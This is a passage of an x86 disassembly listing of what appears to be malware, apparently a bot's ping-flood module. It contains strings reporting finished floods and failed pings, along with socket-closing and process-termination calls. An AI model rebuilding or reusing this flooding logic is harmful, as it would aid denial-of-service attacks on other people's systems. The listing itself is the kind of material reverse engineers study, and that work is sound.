		mov	byte_4491E3[eax*4], cl
		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491DF[esi*4]
		push	eax
		nop
		call	near ptr 2760720h
		cmp	dword_4491DF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491DF[esi*4], ebx
		mov	dword_4491CB[esi*4], ebx
		mov	dword_4491CF[esi*4], ebx
		mov	eax, dword_4491D3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491D3[esi*4], ebx
		mov	byte_448FCB[esi*4], bl
		mov	byte_4491E3[esi*4], bl
		mov	ecx, dword_4491D7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_4491D7[esi*4], ebx
		mov	edx, dword_4491DB[esi*4]
		lea	esi, ds:4491DBh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491CF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61CF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		call	near ptr 2770464h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		nop
		call	near ptr 28308C8h


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61CB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491CB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61CB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FCB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FCB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FCBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A44
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
